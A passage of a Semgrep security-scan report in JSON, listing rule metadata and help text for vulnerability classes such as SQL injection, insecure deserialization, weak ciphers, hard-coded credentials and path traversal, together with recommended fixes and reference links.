[userinput])`"},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.sqli.node-postgres-sqli.node-postgres-sqli","id":"javascript.lang.security.audit.sqli.node-postgres-sqli.node-postgres-sqli","name":"javascript.lang.security.audit.sqli.node-postgres-sqli.node-postgres-sqli","properties":{"precision":"very-high","tags":["CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.sqli.node-postgres-sqli.node-postgres-sqli"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The original, finite field, Diffie-Hellman (DH) key exchange algorithm is susceptible to cryptanalytic attacks. Elliptic-Curve Diffie-Hellman (ECDH) represents a safer choice. In general, low-level cryptographic primitives, found in the `cryptography.hazmat package`, are complex and potentially dangerous, requiring deep cryptographic knowledge. It is recommended to use the higher-level recipes layer as a secure default and resort to the hazmat layer only when necessary."},"help":{"markdown":"The original, finite field, Diffie-Hellman (DH) key exchange algorithm is susceptible to cryptanalytic attacks. Elliptic-Curve Diffie-Hellman (ECDH) represents a safer choice. In general, low-level cryptographic primitives, found in the `cryptography.hazmat package`, are complex and potentially dangerous, requiring deep cryptographic knowledge. It is recommended to use the higher-level recipes layer as a secure default and resort to the hazmat layer only when necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.cryptography-diffie-hellman-key-exchange.cryptography-diffie-hellman-key-exchange)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms)\n - [https://cryptography.io/en/latest/hazmat/primitives/asymmetric/dh/#diffie-hellman-key-exchange](https://cryptography.io/en/latest/hazmat/primitives/asymmetric/dh/#diffie-hellman-key-exchange)\n - [https://cryptography.io/en/latest/hazmat/primitives/asymmetric/ec/#cryptography.hazmat.primitives.asymmetric.ec.ECDH](https://cryptography.io/en/latest/hazmat/primitives/asymmetric/ec/#cryptography.hazmat.primitives.asymmetric.ec.ECDH)\n - [https://csrc.nist.gov/pubs/sp/800/56/a/r3/final](https://csrc.nist.gov/pubs/sp/800/56/a/r3/final)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://weakdh.org/sysadmin.html](https://weakdh.org/sysadmin.html)\n","text":"The original, finite field, Diffie-Hellman (DH) key exchange algorithm is susceptible to cryptanalytic attacks. Elliptic-Curve Diffie-Hellman (ECDH) represents a safer choice. In general, low-level cryptographic primitives, found in the `cryptography.hazmat package`, are complex and potentially dangerous, requiring deep cryptographic knowledge. It is recommended to use the higher-level recipes layer as a secure default and resort to the hazmat layer only when necessary."},"helpUri":"https://semgrep.dev/r/python.cryptography.cryptography-diffie-hellman-key-exchange.cryptography-diffie-hellman-key-exchange","id":"python.cryptography.cryptography-diffie-hellman-key-exchange.cryptography-diffie-hellman-key-exchange","name":"python.cryptography.cryptography-diffie-hellman-key-exchange.cryptography-diffie-hellman-key-exchange","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.cryptography-diffie-hellman-key-exchange.cryptography-diffie-hellman-key-exchange"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Mcrypt functionality has been deprecated and/or removed in recent PHP versions. Consider using Sodium or OpenSSL."},"help":{"markdown":"Mcrypt functionality has been deprecated and/or removed in recent PHP versions. Consider using Sodium or OpenSSL.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.mcrypt-use.mcrypt-use)\n - [https://www.php.net/manual/en/intro.mcrypt.php](https://www.php.net/manual/en/intro.mcrypt.php)\n - [https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/CryptoFunctionsSniff.php](https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/CryptoFunctionsSniff.php)\n","text":"Mcrypt functionality has been deprecated and/or removed in recent PHP versions. Consider using Sodium or OpenSSL."},"helpUri":"https://semgrep.dev/r/php.lang.security.mcrypt-use.mcrypt-use","id":"php.lang.security.mcrypt-use.mcrypt-use","name":"php.lang.security.mcrypt-use.mcrypt-use","properties":{"precision":"very-high","tags":["CWE-676: Use of Potentially Dangerous Function","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.mcrypt-use.mcrypt-use"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = %s', ('active'))`"},"help":{"markdown":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = %s', ('active'))`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.mysql-sqli.mysql-sqli)\n - [https://dev.mysql.com/doc/connector-python/en/connector-python-api-mysqlcursor-execute.html](https://dev.mysql.com/doc/connector-python/en/connector-python-api-mysqlcursor-execute.html)\n - [https://dev.mysql.com/doc/connector-python/en/connector-python-api-mysqlcursor-executemany.html](https://dev.mysql.com/doc/connector-python/en/connector-python-api-mysqlcursor-executemany.html)\n","text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = %s', ('active'))`"},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.mysql-sqli.mysql-sqli","id":"python.aws-lambda.security.mysql-sqli.mysql-sqli","name":"python.aws-lambda.security.mysql-sqli.mysql-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.mysql-sqli.mysql-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The Origin header in the HTTP WebSocket handshake is used to guarantee that the connection accepted by the WebSocket is from a trusted origin domain. Failure to enforce can lead to Cross Site Request Forgery (CSRF). As per \"gorilla/websocket\" documentation: \"A CheckOrigin function should carefully validate the request origin to prevent cross-site request forgery.\""},"help":{"markdown":"The Origin header in the HTTP WebSocket handshake is used to guarantee that the connection accepted by the WebSocket is from a trusted origin domain. Failure to enforce can lead to Cross Site Request Forgery (CSRF). As per \"gorilla/websocket\" documentation: \"A CheckOrigin function should carefully validate the request origin to prevent cross-site request forgery.\"\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.security.audit.websocket-missing-origin-check.websocket-missing-origin-check)\n - [https://pkg.go.dev/github.com/gorilla/websocket#Upgrader](https://pkg.go.dev/github.com/gorilla/websocket#Upgrader)\n","text":"The Origin header in the HTTP WebSocket handshake is used to guarantee that the connection accepted by the WebSocket is from a trusted origin domain. Failure to enforce can lead to Cross Site Request Forgery (CSRF). As per \"gorilla/websocket\" documentation: \"A CheckOrigin function should carefully validate the request origin to prevent cross-site request forgery.\""},"helpUri":"https://semgrep.dev/r/go.gorilla.security.audit.websocket-missing-origin-check.websocket-missing-origin-check","id":"go.gorilla.security.audit.websocket-missing-origin-check.websocket-missing-origin-check","name":"go.gorilla.security.audit.websocket-missing-origin-check.websocket-missing-origin-check","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.security.audit.websocket-missing-origin-check.websocket-missing-origin-check"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.deserialization.objectinputstream-deserialization-msg.objectinputstream-deserialization-msg)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method."},"helpUri":"https://semgrep.dev/r/java.micronaut.deserialization.objectinputstream-deserialization-msg.objectinputstream-deserialization-msg","id":"java.micronaut.deserialization.objectinputstream-deserialization-msg.objectinputstream-deserialization-msg","name":"java.micronaut.deserialization.objectinputstream-deserialization-msg.objectinputstream-deserialization-msg","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.deserialization.objectinputstream-deserialization-msg.objectinputstream-deserialization-msg"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Use of RC2 was detected. RC2 is vulnerable to related-key attacks, and is therefore considered non-compliant. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"help":{"markdown":"Use of RC2 was detected. RC2 is vulnerable to related-key attacks, and is therefore considered non-compliant. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-rc2.use-of-rc2)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html](https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html)\n","text":"Use of RC2 was detected. RC2 is vulnerable to related-key attacks, and is therefore considered non-compliant. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-rc2.use-of-rc2","id":"java.lang.security.audit.crypto.use-of-rc2.use-of-rc2","name":"java.lang.security.audit.crypto.use-of-rc2.use-of-rc2","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.use-of-rc2.use-of-rc2"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The marshal module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. See more details: https://docs.python.org/3/library/marshal.html?highlight=security"},"help":{"markdown":"The marshal module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. See more details: https://docs.python.org/3/library/marshal.html?highlight=security\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.marshal.marshal-usage)\n - [https://docs.python.org/3/library/marshal.html?highlight=security](https://docs.python.org/3/library/marshal.html?highlight=security)\n","text":"The marshal module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. See more details: https://docs.python.org/3/library/marshal.html?highlight=security"},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.marshal.marshal-usage","id":"python.lang.security.audit.marshal.marshal-usage","name":"python.lang.security.audit.marshal.marshal-usage","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.marshal.marshal-usage"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.pg.ruby-pg-hardcoded-uri.ruby-pg-hardcoded-uri)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.pg.ruby-pg-hardcoded-uri.ruby-pg-hardcoded-uri","id":"ruby.pg.ruby-pg-hardcoded-uri.ruby-pg-hardcoded-uri","name":"ruby.pg.ruby-pg-hardcoded-uri.ruby-pg-hardcoded-uri","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.pg.ruby-pg-hardcoded-uri.ruby-pg-hardcoded-uri"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.db.mongodb-express.mongodb-express)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.6-Testing_for_NoSQL_Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.6-Testing_for_NoSQL_Injection)\n - [https://portswigger.net/web-security/nosql-injection](https://portswigger.net/web-security/nosql-injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/javascript.express.db.mongodb-express.mongodb-express","id":"javascript.express.db.mongodb-express.mongodb-express","name":"javascript.express.db.mongodb-express.mongodb-express","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.db.mongodb-express.mongodb-express"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The Django secret key is used as salt in HashIDs. The HashID mechanism is not secure. By observing sufficient HashIDs, the salt used to construct them can be recovered. This means the Django secret key can be obtained by attackers, through the HashIDs."},"help":{"markdown":"The Django secret key is used as salt in HashIDs. The HashID mechanism is not secure. By observing sufficient HashIDs, the salt used to construct them can be recovered. This means the Django secret key can be obtained by attackers, through the HashIDs.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.hashids-with-django-secret.hashids-with-django-secret)\n - [https://docs.djangoproject.com/en/4.2/ref/settings/#std-setting-SECRET_KEY](https://docs.djangoproject.com/en/4.2/ref/settings/#std-setting-SECRET_KEY)\n - [http://carnage.github.io/2015/08/cryptanalysis-of-hashids](http://carnage.github.io/2015/08/cryptanalysis-of-hashids)\n","text":"The Django secret key is used as salt in HashIDs. The HashID mechanism is not secure. By observing sufficient HashIDs, the salt used to construct them can be recovered. This means the Django secret key can be obtained by attackers, through the HashIDs."},"helpUri":"https://semgrep.dev/r/python.django.security.hashids-with-django-secret.hashids-with-django-secret","id":"python.django.security.hashids-with-django-secret.hashids-with-django-secret","name":"python.django.security.hashids-with-django-secret.hashids-with-django-secret","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 – Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.hashids-with-django-secret.hashids-with-django-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application was observed to store keychain items that leverage biometric protection, but allow for biometry changes. This means that an attacker with knowledge of the victim's passcode or the ability to guess the passcode - can register their own biometrics, and bypass this keychain authentication mechanism within the app. The application should store keychain entries with `biometryCurrentSet` rather than `biometryAny` or `userPresence`."},"help":{"markdown":"The application was observed to store keychain items that leverage biometric protection, but allow for biometry changes. This means that an attacker with knowledge of the victim's passcode or the ability to guess the passcode - can register their own biometrics, and bypass this keychain authentication mechanism within the app. The application should store keychain entries with `biometryCurrentSet` rather than `biometryAny` or `userPresence`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.biometrics-and-auth.acl-changes.keychain-acl-allows-biometry-changes)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication)\n - [https://shirazkhan030.medium.com/biometric-authentication-in-ios-6c53c54f17df](https://shirazkhan030.medium.com/biometric-authentication-in-ios-6c53c54f17df)\n","text":"The application was observed to store keychain items that leverage biometric protection, but allow for biometry changes. This means that an attacker with knowledge of the victim's passcode or the ability to guess the passcode - can register their own biometrics, and bypass this keychain authentication mechanism within the app. The application should store keychain entries with `biometryCurrentSet` rather than `biometryAny` or `userPresence`."},"helpUri":"https://semgrep.dev/r/swift.biometrics-and-auth.acl-changes.keychain-acl-allows-biometry-changes","id":"swift.biometrics-and-auth.acl-changes.keychain-acl-allows-biometry-changes","name":"swift.biometrics-and-auth.acl-changes.keychain-acl-allows-biometry-changes","properties":{"precision":"very-high","tags":["CWE-305: Authentication Bypass by Primary Weakness","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.biometrics-and-auth.acl-changes.keychain-acl-allows-biometry-changes"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the built-in `filepath.Clean` function."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the built-in `filepath.Clean` function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.path-traversal.gorilla-path-traversal.gorilla-path-traversal-taint)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the built-in `filepath.Clean` function."},"helpUri":"https://semgrep.dev/r/go.gorilla.path-traversal.gorilla-path-traversal.gorilla-path-traversal-taint","id":"go.gorilla.path-traversal.gorilla-path-traversal.gorilla-path-traversal-taint","name":"go.gorilla.path-traversal.gorilla-path-traversal.gorilla-path-traversal-taint","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.path-traversal.gorilla-path-traversal.gorilla-path-traversal-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-lambda-environment-credentials.aws-lambda-environment-credentials)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-lambda-environment-credentials.aws-lambda-environment-credentials","id":"terraform.aws.security.aws-lambda-environment-credentials.aws-lambda-environment-credentials","name":"terraform.aws.security.aws-lambda-environment-credentials.aws-lambda-environment-credentials","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-lambda-environment-credentials.aws-lambda-environment-credentials"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use query parameterization instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use query parameterization instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.db.djangoorm-django.djangoorm-django)\n - [https://docs.djangoproject.com/en/5.0/topics/db/sql/](https://docs.djangoproject.com/en/5.0/topics/db/sql/)\n - [https://docs.djangoproject.com/en/5.0/topics/security/#sql-injection-protection](https://docs.djangoproject.com/en/5.0/topics/security/#sql-injection-protection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use query parameterization instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.django.db.djangoorm-django.djangoorm-django","id":"python.django.db.djangoorm-django.djangoorm-django","name":"python.django.db.djangoorm-django.djangoorm-django","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.db.djangoorm-django.djangoorm-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS KMS has no rotation. Missing rotation can cause leaked key to be used by attackers. To fix this, set a `enable_key_rotation`."},"help":{"markdown":"The AWS KMS has no rotation. Missing rotation can cause leaked key to be used by attackers. To fix this, set a `enable_key_rotation`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-kms-no-rotation.aws-kms-no-rotation)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The AWS KMS has no rotation. Missing rotation can cause leaked key to be used by attackers. To fix this, set a `enable_key_rotation`."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-kms-no-rotation.aws-kms-no-rotation","id":"terraform.aws.security.aws-kms-no-rotation.aws-kms-no-rotation","name":"terraform.aws.security.aws-kms-no-rotation.aws-kms-no-rotation","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-kms-no-rotation.aws-kms-no-rotation"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected wildcard access granted in your KMS key. This means anyone with this policy can perform administrative actions over the keys. Instead, limit principals, actions and resources to what you need according to least privilege."},"help":{"markdown":"Detected wildcard access granted in your KMS key. This means anyone with this policy can perform administrative actions over the keys. Instead, limit principals, actions and resources to what you need according to least privilege.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-kms-key-wildcard-principal.aws-kms-key-wildcard-principal)\n - [https://cwe.mitre.org/data/definitions/732.html](https://cwe.mitre.org/data/definitions/732.html)\n","text":"Detected wildcard access granted in your KMS key. This means anyone with this policy can perform administrative actions over the keys. Instead, limit principals, actions and resources to what you need according to least privilege."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-kms-key-wildcard-principal.aws-kms-key-wildcard-principal","id":"terraform.aws.security.aws-kms-key-wildcard-principal.aws-kms-key-wildcard-principal","name":"terraform.aws.security.aws-kms-key-wildcard-principal.aws-kms-key-wildcard-principal","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-kms-key-wildcard-principal.aws-kms-key-wildcard-principal"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk 